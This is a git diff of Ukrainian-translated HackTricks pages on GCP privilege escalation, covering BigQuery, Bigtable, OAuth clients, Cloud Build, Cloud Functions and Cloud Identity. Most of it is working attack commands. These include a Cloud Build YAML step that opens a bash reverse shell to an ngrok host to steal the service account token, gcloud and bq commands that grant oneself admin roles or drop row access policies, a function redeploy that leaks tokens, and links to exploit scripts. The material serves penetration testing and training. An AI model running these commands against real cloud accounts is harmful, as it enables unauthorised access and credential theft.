+Створити Batch job з reverse shell ```bash gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - < + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md index 76f24c234..3966bd5fa 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md @@ -4,7 +4,7 @@ ## BigQuery -Для отримання додаткової інформації про BigQuery перегляньте: +Для отримання додаткової інформації про BigQuery див.: {{#ref}} ../gcp-services/gcp-bigquery-enum.md @@ -12,21 +12,34 @@ ### Читання таблиці -Читання інформації, що зберігається в таблиці BigQuery, може дозволити знайти s**ensitive information**. Для доступу до інформації потрібні дозволи **`bigquery.tables.get`**, **`bigquery.jobs.create`** та **`bigquery.tables.getData`**: +Читання інформації, що зберігається в таблиці BigQuery, може дозволити знайти s**чутливу інформацію**. Щоб отримати доступ до цієї інформації потрібні дозволи: **`bigquery.tables.get`**, **`bigquery.jobs.create`** та **`bigquery.tables.getData`**: + +
+Читання даних таблиці BigQuery ```bash bq head .
bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000' ``` + + ### Експорт даних -Це ще один спосіб доступу до даних. **Експортуйте їх у хмарне сховище** і **завантажте файли** з інформацією.\ -Для виконання цієї дії потрібні наступні дозволи: **`bigquery.tables.export`**, **`bigquery.jobs.create`** та **`storage.objects.create`**. +Це ще один спосіб отримати доступ до даних. **Експортуйте його в bucket Cloud Storage** і **завантажте файли** з інформацією.\ +Щоб виконати цю дію, потрібні наступні дозволи: **`bigquery.tables.export`**, **`bigquery.jobs.create`** та **`storage.objects.create`**. + +
+Експортувати таблицю BigQuery у Cloud Storage ```bash bq extract .
"gs:///table*.csv" ``` -### Вставка даних + -Можливо, що **ввести певні довірені дані** в таблицю Bigquery, щоб зловживати **вразливістю в іншому місці.** Це можна легко зробити з правами **`bigquery.tables.get`**, **`bigquery.tables.updateData`** та **`bigquery.jobs.create`**: +### Додавання даних + +Можливо **ввести певні довірені дані** в таблицю Bigquery, щоб зловживати **вразливістю в іншому місці.** Це можна легко зробити за наявності дозволів **`bigquery.tables.get`**, **`bigquery.tables.updateData`** та **`bigquery.jobs.create`**: + +
+Вставити дані в таблицю BigQuery ```bash # Via query bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)' @@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, # Via insert param bq insert dataset.table /tmp/mydata.json ``` +
+ ### `bigquery.datasets.setIamPolicy` -Зловмисник може зловживати цим правом, щоб **надати собі додаткові дозволи** на набір даних BigQuery: +Атакувальник може зловживати цим привілеєм, щоб **надати собі додаткові дозволи** над набором даних BigQuery: + +
+Встановити IAM-політику для набору даних BigQuery ```bash # For this you also need bigquery.tables.getIamPolicy bq add-iam-policy-binding \ @@ -46,9 +64,14 @@ bq add-iam-policy-binding \ # use the set-iam-policy if you don't have bigquery.tables.getIamPolicy ``` +
+ ### `bigquery.datasets.update`, (`bigquery.datasets.get`) -Ця дозволяє **оновити ваш доступ до набору даних BigQuery, змінюючи ACL,** які вказують, хто може отримати доступ до нього: +Лише цей дозвіл дозволяє **оновити ваш доступ до набору даних у BigQuery, редагуючи ACLs**, які вказують, хто може отримати доступ: + +
+Оновити ACLs набору даних у BigQuery ```bash # Download current permissions, reqires bigquery.datasets.get bq show --format=prettyjson : > acl.json @@ -57,9 +80,14 @@ bq update --source acl.json : ## Read it with bq head $PROJECT_ID:.
``` + + ### `bigquery.tables.setIamPolicy` -Зловмисник може зловживати цим правом, щоб **надати собі додаткові дозволи** на таблицю BigQuery: +Attacker може зловживати цим привілеєм, щоб **наділити себе додатковими permissions** над таблицею BigQuery: + +
+Встановити IAM політику для таблиці BigQuery ```bash # For this you also need bigquery.tables.setIamPolicy bq add-iam-policy-binding \ @@ -69,14 +97,24 @@ bq add-iam-policy-binding \ # use the set-iam-policy if you don't have bigquery.tables.setIamPolicy ``` +
+ ### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create` -Згідно з документацією, з вказаними дозволами можливо **оновити політику рядка.**\ -Однак, **використовуючи cli `bq`** вам потрібно ще дещо: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**. +Згідно з документацією, з вказаними дозволами можливо **оновити політику доступу до рядків.**\ +Однак, **використовуючи CLI `bq`** потрібні ще деякі: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**. + +
+Створити або замінити політику доступу до рядків ```bash bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY ON `..` GRANT TO ("") FILTER USING (term = "Cfba");' # A example filter was used ``` -Можливо знайти ID фільтра у виході перерахунку політик рядків. Приклад: +
+ +Можна знайти filter ID у виводі row policies enumeration. Приклад: + +
+List row access policies ```bash bq ls --row_access_policies :.
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las ------------- ------------------ ----------------------------- ----------------- -------------------- apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09 ``` + + Якщо у вас є **`bigquery.rowAccessPolicies.delete`** замість `bigquery.rowAccessPolicies.update`, ви також можете просто видалити політику: + +
+Видалити політики доступу до рядків ```bash # Remove one bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY ON `..`;' @@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY ON `.< # Remove all (if it's the last row policy you need to use this bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `..`;' ``` +
+ > [!CAUTION] -> Іншим потенційним варіантом обходу політик доступу до рядків може бути просто зміна значення обмежених даних. Якщо ви можете бачити лише тоді, коли `term` дорівнює `Cfba`, просто змініть всі записи таблиці, щоб мати `term = "Cfba"`. Однак це заважає bigquery. +> Ще один можливий спосіб обійти row access policies — просто змінити значення обмежених даних. Якщо ви можете бачити лише коли `term` = `Cfba`, просто змініть всі записи таблиці так, щоб `term = "Cfba"`. Однак це запобігається bigquery. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md index 9525340a0..04ff0ce1a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md @@ -4,7 +4,7 @@ ## Bigtable -Для отримання додаткової інформації про Bigtable див.: +Детальніше про Bigtable дивіться: {{#ref}} ../gcp-services/gcp-bigtable-enum.md @@ -12,40 +12,50 @@ ### `bigtable.instances.setIamPolicy` -**Дозволи:** `bigtable.instances.setIamPolicy` (і зазвичай `bigtable.instances.getIamPolicy`, щоб прочитати поточні прив'язки). +**Дозволи:** `bigtable.instances.setIamPolicy` (зазвичай також `bigtable.instances.getIamPolicy` щоб прочитати поточні прив'язки). -Володіння політикою IAM екземпляра дозволяє призначити собі **`roles/bigtable.admin`** (або будь-яку користувацьку роль), що поширюється на кожний кластер, таблицю, резервну копію та авторизований перегляд в екземплярі. +Володіння політикою IAM інстансу дозволяє надати собі роль **`roles/bigtable.admin`** (або будь-яку кастомну роль), яка поширюється на кожен кластер, таблицю, резервну копію і авторизований перегляд в інстансі. + +
Надати собі роль bigtable.admin на інстансі ```bash gcloud bigtable instances add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ``` -> [!TIP] -> Якщо ви не можете перелічити існуючі bindings, складіть новий документ політики і застосуйте його за допомогою `gcloud bigtable instances set-iam-policy`, за умови, що ви залишите в ньому свій доступ. +
-Після перевірки цього дозволу перегляньте розділ [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) з техніками для додаткових способів зловживання дозволами Bigtable. +> [!TIP] +> Якщо ви не можете перерахувати існуючі bindings, сформуйте новий документ політики і застосуйте його за допомогою `gcloud bigtable instances set-iam-policy`, переконавшись, що в ньому збережено ваш доступ. + +Після отримання цього дозволу перегляньте техніки в розділі [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) для додаткових способів зловживання дозволами Bigtable. ### `bigtable.tables.setIamPolicy` -**Дозволи:** `bigtable.tables.setIamPolicy` (optionally `bigtable.tables.getIamPolicy`). +**Дозволи:** `bigtable.tables.setIamPolicy` (опціонально `bigtable.tables.getIamPolicy`). -Політики інстансу можуть бути жорстко обмежені, тоді як права щодо окремих таблиць делегуються. Якщо ви можете редагувати IAM таблиці, ви можете **підвищити себе до власника цільового набору даних**, не зачіпаючи інші робочі навантаження. +Політики інстансу можуть бути жорстко налаштовані, одночасно делегуючи окремі таблиці. Якщо ви можете редагувати IAM таблиці, ви можете **підвищити себе до власника цільового набору даних** без втручання в інші робочі навантаження. + +
Надайте собі роль bigtable.admin для таблиці ```bash gcloud bigtable tables add-iam-policy-binding \ --instance= \ --member='user:' \ --role='roles/bigtable.admin' ``` -After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions. +
+ +Після отримання цього дозволу перегляньте розділ [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) для технік, що показують інші способи зловживання дозволами Bigtable. ### `bigtable.backups.setIamPolicy` -**Permissions:** `bigtable.backups.setIamPolicy` +**Дозволи:** `bigtable.backups.setIamPolicy` -Резервні копії можна відновити в **будь-який інстанс в будь-якому проєкті**, який ви контролюєте. Спочатку надайте вашій ідентичності доступ до резервної копії, а потім відновіть її в пісочницю, де у вас є ролі Admin/Owner. +Резервні копії можна відновити на **будь-який instance у будь-якому проєкті**, яким ви керуєте. Спочатку надайте вашій ідентичності доступ до резервної копії, після цього відновіть її в sandbox, де у вас є ролі Admin/Owner. -Якщо у вас є дозвіл `bigtable.backups.setIamPolicy`, ви можете надати собі дозвіл `bigtable.backups.restore`, щоб відновити старі резервні копії та спробувати отримати доступ до конфіденційної інформації. +Якщо у вас є дозвіл `bigtable.backups.setIamPolicy`, ви можете надати собі дозвіл `bigtable.backups.restore`, щоб відновити старі резервні копії та спробувати отримати доступ до чутливої інформації. + +
Отримання власності над резервною копією (snapshot) ```bash # Take ownership of the snapshot gcloud bigtable backups add-iam-policy-binding \ @@ -53,14 +63,18 @@ gcloud bigtable backups add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ``` -Після отримання цього дозволу перевірте в [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), як відновити резервну копію. +
+ +Після отримання цього дозволу перегляньте [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), щоб дізнатися, як відновити резервну копію. ### Оновлення authorized view -**Дозволи:** `bigtable.authorizedViews.update` +**Permissions:** `bigtable.authorizedViews.update` -Authorized Views призначені для приховування рядків/стовпців. Їх модифікація або видалення **усуває тонко налаштовані запобіжні заходи**, на які покладаються захисники. +Authorized Views призначені для маскування рядків/стовпців. Зміна або видалення їх **усуває тонко налаштовані запобіжні механізми**, на які покладаються захисники. + +
Оновити authorized view, щоб розширити доступ ```bash # Broaden the subset by uploading a permissive definition gcloud bigtable authorized-views update \ @@ -85,13 +99,17 @@ EOF gcloud bigtable authorized-views describe \ --instance= --table= ``` -Після перевірки наявності цього дозволу перегляньте [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), щоб дізнатися, як читати з authorized view. +
+ +Після отримання цього дозволу перевірте в [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) як читати з авторизованого подання. ### `bigtable.authorizedViews.setIamPolicy` -**Права:** `bigtable.authorizedViews.setIamPolicy`. +**Дозволи:** `bigtable.authorizedViews.setIamPolicy`. -Зловмисник із цим дозволом може надати собі доступ до Authorized View, який може містити чутливі дані, до яких він інакше не мав би доступу. +Зловмисник з цим дозволом може надати собі доступ до авторизованого подання, яке може містити чутливі дані, до яких у нього інакше не було б доступу. + +
Надайте собі доступ до авторизованого подання ```bash # Give more permissions over an existing view gcloud bigtable authorized-views add-iam-policy-binding \ @@ -99,7 +117,9 @@ gcloud bigtable authorized-views add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.viewer' ``` -Після виконання цієї перевірки дозволів у [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), щоб дізнатися, як читати з авторизованого подання. +
+ +Після виконання цієї перевірки дозволів у [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), щоб перевірити, як читати з авторизованого подання. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md index 55ab269a1..eb9bd6cd5 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -### Створення OAuth Бренду та Клієнта +### Створити OAuth Brand and Client -[**Згідно з документацією**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), це необхідні дозволи: +[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), нижче наведено необхідні дозволи: - `clientauthconfig.brands.list` - `clientauthconfig.brands.create` @@ -14,6 +14,8 @@ - `clientauthconfig.clients.getWithSecret` - `clientauthconfig.clients.delete` - `clientauthconfig.clients.update` + +
Створити OAuth brand and client ```bash # Create a brand gcloud iap oauth-brands list @@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e # Create a client of the brand gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index fcfce9a15..7be70376f 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -12,12 +12,14 @@ ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` -З цією дозволом ви можете **надіслати cloud build**. Машина cloudbuild за замовчуванням матиме у своїй файловій системі **токен облікового запису служби cloudbuild**: `@cloudbuild.gserviceaccount.com`. Однак ви можете **вказати будь-який обліковий запис служби всередині проекту** в конфігурації cloudbuild.\ -Отже, ви можете просто змусити машину ексфільтрувати токен на ваш сервер або **отримати зворотний шелл всередині неї і отримати токен** (файл, що містить токен, може змінюватися). +Маючи цей дозвіл, ви можете **ініціювати cloud build**. На машині cloudbuild за замовчуванням у файловій системі буде **token Service Account cloudbuild**: `@cloudbuild.gserviceaccount.com`. Проте ви можете **вказати будь-який Service Account всередині проекту** у конфігурації cloudbuild.\ +Отже, ви можете просто змусити машину exfiltrate на ваш сервер token або **отримати всередині неї reverse shell і дістати token** (файл, що містить token, може змінюватися). -#### Пряме експлуатація через gcloud CLI +#### Пряма експлуатація через gcloud CLI -1- Створіть `cloudbuild.yaml` і змініть його, використовуючи дані вашого слухача. +1- Створіть `cloudbuild.yaml` і відредагуйте його, вказавши дані вашого listener + +
Налаштування Cloud Build YAML для reverse shell ```yaml steps: - name: bash @@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ``` -2- Завантажте просту збірку без виходу, yaml файл і вкажіть SA, який потрібно використовувати для збірки: +
+ +2- Завантажте простий build без джерела: лише yaml-файл та вкажіть SA, який використовувати для build'у: + +
Надіслати Cloud Build з вказаним сервісним обліковим записом ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ``` -#### Використання бібліотеки python gcloud -Ви можете знайти оригінальний скрипт експлойту [**тут на GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (але місце, звідки він отримує токен, не спрацювало для мене). Тому перевірте скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) та python-скрипт для отримання зворотного шеллу всередині машини cloudbuild і [**викрадення його тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (в коді ви можете знайти, як вказати інші облікові записи служби)**.** +
-Для більш детального пояснення відвідайте [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) +#### Використання python gcloud library +You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (але місце, звідки він бере токен, у мене не спрацювало). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.** + +For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) ### `cloudbuild.repositories.accessReadToken` -З цією дозволом користувач може отримати **токен доступу для читання**, який використовується для доступу до репозиторію: +З цим дозволом користувач може отримати **read access token**, який використовується для доступу до репозиторію: + +
Отримати read access token для репозиторію ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ @@ -47,9 +57,13 @@ curl -X POST \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ``` +
+ ### `cloudbuild.repositories.accessReadWriteToken` -З цією дозволом користувач може отримати **токен доступу для читання та запису**, який використовується для доступу до репозиторію: +З цим дозволом користувач може отримати **токен доступу для читання та запису**, який використовується для доступу до репозиторію: + +
Отримати токен доступу для читання та запису для репозиторію ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ @@ -57,12 +71,18 @@ curl -X POST \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ``` +
+ ### `cloudbuild.connections.fetchLinkableRepositories` -З цією дозволом ви можете **отримати репозиторії, до яких має доступ з'єднання:** +З цим дозволом ви можете **отримати репозиторії, до яких має доступ підключення:** + +
Отримати репозиторії, які можна пов'язати ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md index 90e7c762b..dd9cf9fee 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md @@ -4,7 +4,7 @@ ## cloudfunctions -Більше інформації про Cloud Functions: +Детальніше про Cloud Functions: {{#ref}} ../gcp-services/gcp-cloud-functions-enum.md @@ -12,19 +12,21 @@ ### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs` -Зловмисник з цими привілеями може **створити нову Cloud Function з довільним (шкідливим) кодом і призначити їй обліковий запис служби**. Потім, витягнути токен облікового запису служби з метаданих, щоб підвищити привілеї до нього.\ -Можливо, знадобляться деякі привілеї для активації функції. +Атакуючий з такими привілеями може **створити новий Cloud Function з довільним (шкідливим) кодом і призначити йому Service Account**. Потім leak токен Service Account з метаданих, щоб підвищити привілеї до нього.\ +Можуть знадобитися деякі привілеї для виклику функції. -Скрипти експлуатації для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) і [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py), а попередньо зібраний .zip файл можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions). +Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions). ### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs` -Зловмисник з цими привілеями може **модифікувати код Функції і навіть змінювати обліковий запис служби, що прикріплений** з метою ексфільтрації токена. +Атакуючий з такими привілеями може **змінити код Function і навіть змінити прикріплений Service Account** з метою викрадення токена. > [!CAUTION] -> Для розгортання cloud functions вам також знадобляться права actAs над обліковим записом служби за замовчуванням або над обліковим записом служби, що використовується для створення образу. +> Щоб розгорнути cloud functions, вам також потрібні права actAs над обліковим записом compute service account за замовчуванням або над service account, який використовується для побудови образу. -Додаткові привілеї, такі як дозвіл `.call` для версії 1 cloudfunctions або роль `role/run.invoker` для активації функції можуть бути необхідні. +Можуть знадобитися додаткові привілеї, такі як `.call` permission для версії 1 cloudfunctions або роль `role/run.invoker` для виклику функції. + +
Оновлення Cloud Function шкідливим кодом для викрадення токена Service Account ```bash # Create new code temp_dir=$(mktemp -d) @@ -54,14 +56,18 @@ gcloud functions deploy \ # Get SA token calling the new function code gcloud functions call ``` -> [!CAUTION] -> Якщо ви отримали помилку `Permission 'run.services.setIamPolicy' denied on resource...`, це означає, що ви використовуєте параметр `--allow-unauthenticated` і у вас недостатньо прав для цього. +
-Скрипт експлуатації для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py). +> [!CAUTION] +> Якщо ви отримуєте помилку `Permission 'run.services.setIamPolicy' denied on resource...`, це тому, що ви використовуєте параметр `--allow-unauthenticated` і у вас недостатньо прав для цього. + +The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py). ### `cloudfunctions.functions.sourceCodeSet` -З цим дозволом ви можете отримати **підписане URL для завантаження файлу в бакет функції (але код функції не буде змінено, вам все ще потрібно його оновити)** +Маючи цей дозвіл, ви можете отримати **підписаний URL, щоб завантажити файл у bucket функції (але код функції не буде змінений, вам все одно потрібно його оновити)** + +
Згенерувати підписаний URL для завантаження для Cloud Function ```bash # Generate the URL curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \ @@ -69,19 +75,21 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca -H "Content-Type: application/json" \ -d '{}' ``` +
+ Не зовсім впевнений, наскільки корисним є лише цей дозвіл з точки зору атакуючого, але добре знати. -### `cloudfunctions.functions.setIamPolicy`, `iam.serviceAccounts.actAs` +### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs` -Надайте собі будь-які з попередніх **`.update`** або **`.create`** привілеїв для ескалації. +Надайте собі будь-який з попередніх привілеїв **`.update`** або **`.create`** для ескалації. ### `cloudfunctions.functions.update` -Маючи лише **`cloudfunctions`** дозволи, без **`iam.serviceAccounts.actAs`**, ви **не зможете оновити функцію, ТОМУ ЦЕ НЕ Є ДІЙСНИМ ПРИВІЛЕЄМ.** +Маючи лише права **`cloudfunctions`**, без **`iam.serviceAccounts.actAs`** ви **не зможете оновити функцію, ТОМУ ЦЕ НЕ Є ДІЙСНИМ PRIVESC.** -### Доступ на читання та запис до бакету +### Read & Write Access over the bucket -Якщо у вас є доступ на читання та запис до бакету, ви можете моніторити зміни в коді, і коли **відбувається оновлення в бакеті, ви можете оновити новий код своїм кодом**, з яким нова версія Cloud Function буде запущена з поданим бекдором. +Якщо у вас є доступ на читання та запис до bucket, ви можете моніторити зміни в коді і щоразу, коли відбувається **оновлення в bucket, ви можете замінити новий код своїм**, так що нова версія Cloud Function буде запущена з поданим backdoored code. Ви можете дізнатися більше про атаку в: @@ -89,18 +97,18 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca gcp-storage-privesc.md {{#endref}} -Однак ви не можете використовувати це для попереднього компрометації сторонніх Cloud Functions, тому що якщо ви створите бакет у своєму обліковому записі та надасте йому публічні дозволи, щоб зовнішній проект міг записувати в нього, ви отримаєте наступну помилку: +Однак ви не можете використати це для попереднього компрометації сторонніх Cloud Functions, тому що якщо ви створите bucket у своєму акаунті і дасте йому публічні дозволи, щоб зовнішній проєкт міг записувати в нього, ви отримаєте наступну помилку:
> [!CAUTION] -> Однак це може бути використано для атак DoS. +> Однак це може бути використано для DoS-атак. -### Доступ на читання та запис до Artifact Registry +### Read & Write Access over Artifact Registry -Коли створюється Cloud Function, новий docker-образ завантажується до Artifact Registry проекту. Я намагався змінити образ на новий, і навіть видалити поточний образ (та образ `cache`), і нічого не змінилося, cloud function продовжує працювати. Тому, можливо, **можливо зловживати атакою Race Condition** як з бакетом, щоб змінити docker-контейнер, який буде запущено, але **просто зміна збереженого образу не можлива для компрометації Cloud Function**. +Коли створюється Cloud Function, новий docker image пушиться в Artifact Registry проєкту. Я пробував замінити image на інший, і навіть видалити поточний image (та `cache` image), але нічого не змінилося — Cloud Function продовжувала працювати. Тому, можливо, **можна зловживати Race Condition attack**, як у випадку з bucket, щоб змінити docker container, який буде запущений, але **просто модифікування збереженого image не дає можливості скомпрометувати Cloud Function**. -## Посилання +## References - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md index 0c6da37ef..fd6ebb1a2 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md @@ -4,22 +4,28 @@ ## Cloudidentity -Для отримання додаткової інформації про сервіс cloudidentity, перегляньте цю сторінку: +Для отримання більш докладної інформації про сервіс cloudidentity, перегляньте цю сторінку: {{#ref}} ../gcp-services/gcp-iam-and-org-policies-enum.md {{#endref}} -### Додайте себе до групи +### Додати себе до групи -Якщо у вашого користувача достатньо прав або група неправильно налаштована, він може стати членом нової групи: +Якщо ваш обліковий запис має достатні дозволи або група неправильно налаштована, ви можете додати себе до нової групи: + +
Додати себе до групи Cloud Identity ```bash gcloud identity groups memberships add --group-email --member-email [--roles OWNER] # If --roles isn't specified you will get MEMBER ``` +
+ ### Змінити членство в групі -Якщо у вашого користувача достатньо прав або група неправильно налаштована, він може зробити себе ВЛАСНИКОМ групи, членом якої він є: +Якщо ваш користувач має достатні дозволи або група неправильно налаштована, він може зробити себе OWNER групи, членом якої він є: + +
Змінити членство в групі, щоб стати OWNER ```bash # Check the current membership level gcloud identity groups memberships describe --member-email --group-email @@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email --group-email # If not OWNER try gcloud identity groups memberships modify-membership-roles --group-email --member-email --add-roles=OWNER ``` +
